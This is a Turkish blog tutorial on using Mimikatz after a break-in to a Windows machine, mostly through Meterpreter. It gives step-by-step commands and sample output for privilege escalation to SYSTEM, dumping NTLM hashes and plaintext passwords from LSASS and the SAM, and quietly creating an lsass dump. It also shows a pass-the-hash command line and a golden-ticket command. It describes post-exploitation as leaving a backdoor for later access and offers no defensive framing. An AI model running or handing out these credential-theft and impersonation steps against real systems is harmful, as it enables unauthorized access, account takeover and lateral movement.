Mimikatz ile Uygulamalar

Mimikatz;Windows(x86/x64 mimarileri) işletim sistemlerinde parola kırma saldırılarında sıklıkla kullanılan bir araçtır.Benjamin Deply adlı yazılımcı tarafında C Programlama dili ile yazılmıştır.Post-exploitation programıdır.Hedef bilgisayardan bilgi toplamak için kullanılır.

Tabi hemen konuya girmeden öncelikle birkaç tanım daha yapmam gerektiğinin farkındayım.

Post-Exploitation Nedir?

Bir hedef sisteme saldırdığınızda en sonunda eğerki istediklerinizi elde edip başarılı bir şekilde sistemde root haklarını aldığınız zaman bir sorun ortaya çıkıyor.Bu sorun ise başka bir zamanda sisteme girmek istediğinizde her zaman aynı şekilde bütün zorlukları aşmanız gerekmekte hatta belkide zafiyet kapandıktan sonra ise sisteme giremeyeceksiniz.Bu kısımda Post-Exploitation devreye giriyor.Eğerki bir sisteme sızdıysanız.O sistemde daha sonradan kendinize bir daha seferki girişleriniz için açık bir kapı bırakıyorsunuz.Bu şekilde de Post-Exploitation’u uygulamış oluyorsunuz.

Yani amacımız hedef sistemde yetkiler yükseltildikten sonra erişimimizin kalıcı hale getirilmesidir.

Not: Bu konu hakkında ileriki zamanlarda detaylı bir şekilde yazılar gelecektir.

Windows sistemlerde kullanıcı adı ve parola girdiğimizde lssass.exe adında bir uygulama bu işlemi doğrulanması için devreye girer.LSASS (Local Security authority subsystem service) olarak bilinen bu windows uygulaması sistemlerdeki güvenlik politikasını uygulamaktan(kullanıcı oluşturma/değiştirme,kimlik doğrulama) sorumludur.

Sisteme login işleminin başarılı yada başarısız olduğuna karar vermek için kullanıcıdan aldığı verileri SAM ve LDAP dosyasındaki veriler ile karşılaştırır. Karşılaştırma sonunda sonuç doğru (true) ise kullanıcıyı sisteme dahil ederken aynı anda kullanıcıya ait parola bilgisini (NTLM hash ve şifrelenmiş parola) memory de saklar.

İlgili memory alanındaki hash verisi ele geçirilip başka bir LSASS oturumuna enjekte edilirse kimlik doğrulama aşaması atlatılarak sisteme login olunabilir. Pass the hash yazılımlarının (WCE, Psexec v.s) çalışması bu mantıkla olmaktadır.

İşte bu durumda da Mimikatz yazılımı bize Pass-the-Hash yazılımlarının yaptığını veriyor. Yani sistemdeki kullanıcılara ait parolaların hafızadaki şifreli halini elde edip ve bu şifreyide kırıp temiz hale getiriyor.

Mimikat temel olarak özelliklerini “mimilib.dll” ve “mimidrv.sys” adlı dosyalar yardımı ile gerçekleştirir. Mimilib, SSP oturum paketlerine erişim, Windows üzerinde bulunan AppLocker yazılımını bypass etme, şifreleri filtreleme gibi görevlere sahip iken; Mimidrv, Windows çekirdeği ile Mimikatz arasındaki etkileşimi sağlayan sürücüdür.

Mimikatzı çalıştırabilmek için yönetici kullanıcısına yada sistem kullanıcısına ihtiyaç vardır. Bunun yanı sıra stabil olarak çalışabilmesi için LSASS işlemi ile etkileşebilmesi, hata ayıklama haklarına sahip olması gereklidir.Mimikatz genel fiziksel saldırılarda sıkça kullanılsada meterpreter ile birlikte de çalışmaktadır.

Biz fiziksel olarak değilde bir makineye sızdığımız zaman elimizde meterpreter varsa nasıl kullanılırız onu göreceğiz.

Senaryomuzda herhangi bir şekilde meterpreter payloadu ile sisteme erişim sağladığımızı varsayıyoruz.

Local Yönetici kullanıcısından SYSTEM kullanıcısına geçip “Mimikatz” modülünü import etmek için konsola,

meterpreter > getsystem
meterpreter > getuid
meterpreter > load mimikatz

komut dizisini giriyoruz. Böylelikle Metasploit Framework için hazırlanmış olan Mimikatz modülünü sisteme aktarmış olduk.

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

Mimikatz’ın etkin olarak çalışabilmesi için SYSTEM seviyesinde oturum yetkilerine sahip olmamız gerekir.Fakat gördüğümüz gibi getuid komutunun çıktısında Administrator olarak gözüküyoruz.Bu yüzden aşağıdaki kodları yazıyoruz.

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Bu komutlardan sonra başarılı olduysanız yukarıdaki gibi SYSTEM seviyesine geçtiğinize dair çıktı alırsınız.

Mimikatz, 32-bit ve 64-bit mimarilerde çalışmak üzere tasarlanmıştır. SYSTEM seviyesine geçtikten sonra hedef sistemin mimarisinin ne olduğuna sysinfo komutuyla bakmalıyız.

meterpreter > sysinfo
Computer        : WINXP-E95CE571A1
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

Bazen, Meterpreter oturum 64-bit mimaride çalışan bir 32-bit mimari prosesinde oturum açmış olabilir. Bu durumda mimikatz’ın bazı özellikleri çalışmayacaktır. Meterpreter oturumu 32-bit bir proseste çalışıyorsa (Mimari aslında 64-bit olmasına rağmen), mimikatz, 32-bit için yazılımları kullanmaya çalışacaktır. Bunun önüne geçmenin yolu ps komutuyla çalışan proseslere bakmak ve migrate komutuyla başka bir prosese geçmektir.

meterpreter > load mimikatz
Loading extension mimikatz...success.

Yükleme başarıyla tamamlandıktan sonra öncelikle yardım bilgisini görüntüleyelim.

meterpreter > help mimikatz

Mimikatz Commands
=================

    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds
    livessp           Attempt to retrieve livessp creds
    mimikatz_command  Run a custom commannd
    msv               Attempt to retrieve msv creds (hashes)
    ssp               Attempt to retrieve ssp creds
    tspkg             Attempt to retrieve tspkg creds
    wdigest           Attempt to retrieve wdigest creds

Mimikatz, aslında yukarıdaki komutları kullanmamızı sağlasa da içlerinde en güçlüsü mimikatz_command seçeneğidir.

mimikatz_command versiyonuna bakmak için öncelikle aşağıdaki kodu girelim.

meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Nov  7 2013 08:21:02)

Mimikatz’ın sağlamış olduğu modüller bulunur. Bu modüllerin listesini görmek için sistemde bulunmayan bir modül ismi vermeniz yeterlidir. Bu durumda mimikatz size kullanılabilir modüllerin listesini verecektir. Komut kullanımında modüladı:: kullanım formatına dikkat edin.

Aşağıdaki örnekte, fu:: modülü istenmiştir. Böyle bir modül olmadığından kullanılabilir tüm modülleri listelemiş olduk.


meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvable

Modules disponibles : 
                - Standard
      crypto    - Cryptographie et certificats
        hash    - Hash
      system    - Gestion système
     process    - Manipulation des processus
      thread    - Manipulation des threads
     service    - Manipulation des services
   privilege    - Manipulation des privilèges
      handle    - Manipulation des handles
 impersonate    - Manipulation tokens d'accès
     winmine    - Manipulation du démineur
 minesweeper    - Manipulation du démineur 7
       nogpo    - Anti-gpo et patchs divers
     samdump    - Dump de SAM
      inject    - Injecteur de librairies
          ts    - Terminal Server
      divers    - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
    sekurlsa    - Dump des sessions courantes par providers LSASS
         efs    - Manipulations EFS

Genellikle gördüğümüz gibi modüllerin karşılarında açıklamaları yazıyor.

meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable

Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
  noroutemon    - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
   eventdrop    - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
  cancelator    - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
     secrets    - Affiche les secrets utilisateur

Örnek bir modül kullanımı için gerekli parametreleri yukarıdaki örnekte görmüş olduk.Şimdi bir örnek inceleyelim.

RAM Hafızadan Hash ve Parola Okuma

RAM hafızadan Hash değerlerini ve parolaları okumak için Metasploit Framework’ün sağladığı kendi komutlarını kullanabileceğimiz gibi mimikatz modüllerini de kullanabiliriz.

Metasploit Komutları ile Bilgi Elde etme

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;56683  NTLM                                          
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword

Mimikatz Modülleri ile Bilgi Elde Etme

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : winxp-e95ce571a1
BootKey    : 553d8c1349162121e2a5d3d0f571db7f

Rid  : 500
User : Administrator
LM   : 
NTLM : d6eec67681a3be111b5605849505628f

Rid  : 501
User : Guest
LM   : 
NTLM : 

Rid  : 1000
User : HelpAssistant
LM   : 6165cd1a0ebc61e470475c82cd451e14
NTLM : 

Rid  : 1002
User : SUPPORT_388945a0
LM   : 
NTLM : 771ee1fce7225b28f8aec4a88aea9b6a

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

Diğer Modüller

Yukarıda örnek olarak gösterilen modüllerin haricinde başka modüllerde bulunur. Bunların tamamını Mimikatz web sayfasından inceleyebilirsiniz.

Kullanıcı Token Bilgileri

meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvable

Description du module : Manipulation des handles
list              - Affiche les handles du système (pour le moment juste les processus et tokens)
processStop       - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate  - Essaye d'impersonaliser un token en utilisant d'autres handles
nullAcl           - Positionne une ACL null sur des Handles


meterpreter > mimikatz_command -f handle::list
...snip...
  760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE
  760  lsass.exe                 ->  1008       Process 704     winlogon.exe
  760  lsass.exe                 ->  1052       Process 980     svchost.exe
  760  lsass.exe                 ->  1072       Process 2664    fubar.exe
  760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE
  760  lsass.exe                 ->  1096       Process 704     winlogon.exe
  760  lsass.exe                 ->  1264       Process 1124    svchost.exe
  760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON
  760  lsass.exe                 ->  1276       Process 1804    psia.exe
  760  lsass.exe                 ->  1352       Process 480     jusched.exe
  760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe
  760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator
...snip...

Windows Servisleri İşlemleri

Mimikatz, Windows servislerini başlatma, durdurma ve kaldırma imkanı da sağlamaktadır. Servis modülüne ve seçeneklerine bakalım.

meterpreter > mimikatz_command -f service::
Module : 'service' identifié, mais commande '' introuvable

Description du module : Manipulation des services
        list    - Liste les services et pilotes
       start    - Démarre un service ou pilote
        stop    - Arrête un service ou pilote
      remove    - Supprime un service ou pilote
    mimikatz    - Installe et/ou démarre le pilote mimikatz

Bu seçeneklerden, listeleme modülünü kullanalım.

meterpreter > mimikatz_command -f service::list
...snip...
        WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry
        KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)
        WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator
  980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)
        WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP
  760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager
        WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card
 1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler
        KERNEL_DRIVER   STOPPED Secdrv  Secdrv
 1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon
 1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent
 3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent
...snip...

Kripto Modülü

Mimikatz’ın sağladığı kripto modülüne ve seçeneklerine bakalım.

meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable

Description du module : Cryptographie et certificats
listProviders   - Liste les providers installés)
  listStores    - Liste les magasins système
listCertificates        - Liste les certificats
    listKeys    - Liste les conteneurs de clés
exportCertificates      - Exporte les certificats
  exportKeys    - Exporte les clés
    patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
   patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable

Bu seçeneklerden listProviders seçeneğini kullanalım.

meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :
        Gemplus GemSAFE Card CSP v1.0
        Infineon SICRYPT Base Smart Card CSP
        Microsoft Base Cryptographic Provider v1.0
        Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Base DSS Cryptographic Provider
        Microsoft Base Smart Card Crypto Provider
        Microsoft DH SChannel Cryptographic Provider
        Microsoft Enhanced Cryptographic Provider v1.0
        Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)
        Microsoft RSA SChannel Cryptographic Provider
        Microsoft Strong Cryptographic Provider

Windows Tarafında Mimikatz

Windows tarafında ise mimikatz  aracı ile sistemde bulunan Şifrelenmiş kullanıcı parolaları OS belleğinde saklanır ve daha spesifik olması için LSASS.EXE işlem belleğinden elde eder.

LSASS.EXE (Local Security Authority Subsystem Service): Kullanıcıların oturum açma işlemleri sırasında kimlik bilgilerini doğruluyan, parola değişikliklerinin gerçekleştirilmesinde görevli olan, kullanıcının yerel güvenlik ilkelerine (Security Policy) uymaya zorlayan, kullanıcı haklarına göre token oluşturan, göreviyle ilişkili bir olay olduğunda bu olayı Olay Günlüklerine (Event Viewer) yazan prosestir Sorun, şifre şifrelemesinin belirli bir bellek alanını şifrelemek / şifresini çözmek için kullanılan standart Win32 fonksiyonlarından LsaProtectMemory ve LsaUnprotectMemory kullanılarak gerçekleştirilmesidir. Geliştiricileri mimikatz aracını şifrelenmiş verileri bellekten almanıza, LsaUnprotectMemory işlevini kullanarak şifresini çözmenize ve sistemde yetkilendirilmiş kullanıcıların tüm hesaplarını ve şifrelerini (düz metinle şifresi çözülmüş halde) görüntülemenizi sağlar. RDP ile uzak masaüstü bağlantısı yapıldığında, Kimlik doğrulaması için tasarlanan mimarideki bazı API’leri kullanan uygulamalarla işlemler gerçekleştirildiğinde bellekte tutulan şifreleri de görüntülemesini sağlamaktadır.

İsterseniz lsass.exe processini görev yöneticisi üzerinden dump ederek sakladığı şifreleri tespit edebilirsiniz. Mimikatz.exe  dosyasını çalıştırdıktan sonra sekurlsa::minidump lsass.DMP komutu ile dmp dosyamızı mimikatz yazılımına switch ediyoruz. sekurlsa::logonPasswords komutu ile bellek dökümü üzerinde bulunan şifreleri tespit edebilirsiniz. Niye lsass processini dump ederek şifreleri ele geçirdik çünkü şifreleri elde etmek için birden çok yöntemi olduğunu ve bir bilgisayar üzerinde gizlice lsass.dmp oluşturarak sonra mimikatz programı ile analiz edebileceğinizi öğrenmiş olduk ve adli bilişim yazılımları genellike mimikatz yazılımını entegreli bir şekilde kullanmaktadır

Bazı şifreleri plaintext olarak göstermeyebilir ama elimizde şifrenin ntlm ve sha1 formatı olması yine o kişinin bilgisayarında oturum açmamızı sağlayabilir. sekurlsa::pth /user:kaanyeniyol /domain:WORKGROUP /ntlm:d770e2363852dfc1b13fc75d29672305 /run:cmd.exe komutu ile karşı bilgisayarda bir oturum başlatabilirsiniz. Yapılan yönteme Pass-the-Hash denmektedir.Başka bir yöntem ise kendi bilgisayarımzda mimikatz çalıştırarak önce privilege::debug komutunu sonrasında sekurlsa::logonpasswords full komutu çalıştırırsak mimikatz’ın çalıştığı bilgisayardaki kullanıcı şifrelerini elde edebilirsiniz.

Altın bilet oluşturmak için yani karşı bilgisayarda mimikatz ile farklı kullanıcı adı ve var olan kişinin ntlm şifresi ile oturum açılabilmektedir. Ntds dosyası üzerinden o kullanıcıyı oluşturmaktadır.  mimikatz # kerberos::golden /domain:WORKGROUP.LOCAL /sid:S-1-5-21-1144815226-1301001682-507360942 /rc4:d770e2363852dfc1b13fc75d29672305 /user:deneme /id:500 /ptt komutu ile bu işlem gerçekleşmektedir. Ptt komutu sahte oturumu mevcut oturuma enjekte etmek için kullanılan komuttur. misc::cmd komutu iles sahte açılan oturum ile sessions kurabilirsiniz

Yukarıdaki örneklerden göreceğiniz gibi, Mimikatz’a ait modüller ve bu modüllerin seçenekleri bulunuyor. Çok geniş ihtimaller dahilinde kullanabileceğiniz komutları tek tek deneyerek tecrübe kazanmanızı tavsiye ediyorum.

Yazımı okuduğunuz için teşekkür ederim.Bu yazıyı yazarken Windows tarafında Mimikatz kısmında ekibimizden Kaan Yeniyol’a da teşekkürlerimi sunarım.Bir hatam olduysa veyahutta bir sorunuz olursa eğerki yorum atmaktan çekinmeyin.Kişisel hesaplarıma da yazabilirsiniz.Güvenli günler !

Kişisel Hesaplarım:

Gmail : erenn.uygun@gmail.com

LinkedIn: 3ren-uygun

Instagram: m.erenuygun

Twitter: erenuyguun

Github: erennuygun

3 yorum

  1. Raif Berkay DİNÇEL Yanıtla

    Selamlar,

    Golden Ticket oluşturduğunuz zaman Domain yapısını baştan kurmanız gerekiyor. O yüzden pek önerilen bir uygulama değil. Bide şifre yerine parola 🙂

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir